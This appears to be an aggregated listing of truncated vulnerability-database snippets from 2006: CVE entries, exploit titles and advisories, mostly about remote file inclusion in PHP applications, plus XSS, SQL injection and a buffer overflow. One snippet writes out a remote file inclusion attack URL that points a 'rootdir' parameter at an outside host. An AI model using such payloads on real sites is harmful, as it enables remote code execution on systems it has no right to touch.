DEBIAN-CVE-2006-6104

The System.Web class in the XSP for ASP.NET server 1.1 through 2.0 in Mono does not properly verify local pathnames, which allows remote attackers to 1 read source code by appending a space %20 to a URI, and 2 read credentials via a request for Web.Config%20...

CA BrightStor ARCserve Backup Discovery Service Detection

The remote server appears to be running BrightStor ARCserve Backup, an enterprise class backup program. The software's Discovery Service listens for broadcast packets from other BrightStor servers on the local network to learn about their existence. C Tenable Network Security, Inc...

DotProject Query.Class.PHP远程文件包含漏洞

DotProject是一款基于PHP的WEB应用程序。 DotProject不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'Query.Class.PHP'脚本对用户提交的'baseDir'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Dotproject Dotproject 2.0.4 Dotproject Dotproject 2.0.3 Dotproject Dotproject 2.0.1 Dotproject Dotproject 2.0 NO...

CVE-2006-6452

Multiple cross-site scripting XSS vulnerabilities in the MyArticles module before 0.6 beta 1, for RunCMS, allow remote attackers to inject arbitrary web script or HTML via unspecified parameters to 1 topics.php, 2 submit.php, and 3 class/calendar.class.php...

ProjectButler <= 0.8.4 (rootdir) Remote File Include Vulnerabilities

No description provided by source. projectbutler-0.8.4 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download Found By: the master exploit: http://Target/Path/classes/Cache.class.php?rootdir=http://cmd.gif?...

knowledgebuilder Remote File Include Exploit

No description provided by source. !/usr/bin/perl knowledgeBuilder v.2.2.php.NuLL-WDYL= Remote File Include Vulnerability Script.............. :knowledgebuilder php.NuLL WDYL Discovered By.... : IGI Expl0iter ........ : Root3rH3LL Location .......... : Iran Class.............. : Remote Original...

KnowledgeBuilder 2.2 - visEdit_Control.Class.php Remote File Inclusion

KnowledgeBuilder 2.2 - visEditControl.Class.php Remote File Inclusion source: https://www.securityfocus.com/bid/20857/info KnowledgeBuilder is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to...

Lou Portail 1.4.1 - admin_module.php Remote File Inclusion

Lou Portail 1.4.1 - adminmodule.php Remote File Inclusion Lou Portail 1.4.1 Class: Remote|Local File Include Vulnerability Patch: Unavailable Published 2006/10/18 Remote: Yes Local: No Type: High Site: http://louportail.free.fr/ Author: MP Contact: [email protected] Vuln Code admin/adminmodule.ph...

osprey 1.0 (ListRecords.php) Remote File Include Vulnerability

======================================================================= ======================= osprey 1.0 ListRecords.php Remote File Include Vulnerability ======================================================================= ======================== Critical Level : Dangerous Venedor site :...

CVE-2006-5395

Buffer overflow in Microsoft Class Package Export Tool aka clspack.exe allows context-dependent attackers to execute arbitrary code via a long string. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-5395

Buffer overflow in Microsoft Class Package Export Tool aka clspack.exe allows context-dependent attackers to execute arbitrary code via a long string. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

Microsoft Class Package Export Tool 5.0.2752 - Clspack.exe Local Buffer Overflow (PoC)

Microsoft Class Package Export Tool 5.0.2752 - Clspack.exe Local Buffer Overflow PoC source: https://www.securityfocus.com/bid/20561/info Microsoft Class Package Export Tool 'clspack.exe' is prone to a local buffer-overflow vulnerability because the application fails to properly size...

phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability

No description provided by source. +PHP MyWebMin 1.0 Remote File Include +Advisory 5 +Product :PHP MyWebMin +Develop: +www.josh.ch/joshch/php-tools/phpmywebmin,download.html +Vulnerable: Remote File Includes +Risk:High +Class:Remote +Discovered:by Kernel-32 +Contact: [email protected]...

Simple Discussion Board 0.1.0 - Remote File Inclusion

Simple Discussion Board Multiple F.le Inclusion Vulnerability credit: CeNGiZ-HaN mail: [email protected] team: www.system-defacers.org Script: Simple Discussion Board sdb Download Adress:http://prdownloads.sourceforge.net/sdb/sdb-0.1.0.tar.gz class: Remote Risk: High Exploit:...

Digital WebShop 1.128 - Multiple Remote File Inclusions

Title : Digital WebShop = v1.128 Multiple Remote File Include Vulnerabilities Author : ajann Script Page : http://digitalwebshop.dyndns.org Exploit; Files rechnung.php prepend.php /Files Code,1 prepend.php Error: // include Werzeuge .. .... requireonce$PHPLIB"libdir" . "phpDB-mysql.lib"; / Mysql...

PT-2006-5603 · Hitweb · Hitweb

Name of the Vulnerable Software and Affected Versions: Hitweb versions 3.0 Description: The issue concerns remote file inclusion vulnerabilities in Hitweb 3.0, allowing remote attackers to execute arbitrary PHP code. This is achieved by providing a URL in the REP CLASS parameter to various PHP...

Shadowed Portal 5.599 - root Remote File Inclusion

Shadowed Portal 5.599 - root Remote File Inclusion ====================== C Y B E R - W A R R I O R T I M ====================== +Shadowed Portal 5.599 root Remote File Include Vulnerability ============================================================================== +Author: madhacker turkish...

KnowledgeBuilder 2.2 - visEdit_root Remote File Inclusion

KnowledgeBuilder 2.2 - visEditroot Remote File Inclusion +-------------------------------------------------------------------- + + KnowledgeBuilder.v2.2.PHP.NULL-WDYL Remote File Inclusion + +------------------------------------------------------------------- + + Version ...........:...

KnowledgeBuilder <= 2.2 (visEdit_root) Remote File Include Vulnerability

No description provided by source. +-------------------------------------------------------------------- + + KnowledgeBuilder.v2.2.PHP.NULL-WDYL Remote File Inclusion + +------------------------------------------------------------------- + + Version ...........: KnowledgeBuilder.v2.2.PHP.NULL-WDY...

CVE-2006-4667

CVE-2006-4667 concerns RunCMS 1.4.1, where multiple SQL injection flaws allow remote attackers to inject arbitrary SQL via (1) uid in class/sessions.class.php and (2) timezone_offset and (3) umode in class/xoopsuser.php. The NVD entry documents these specific parameters as the attack surface, wit...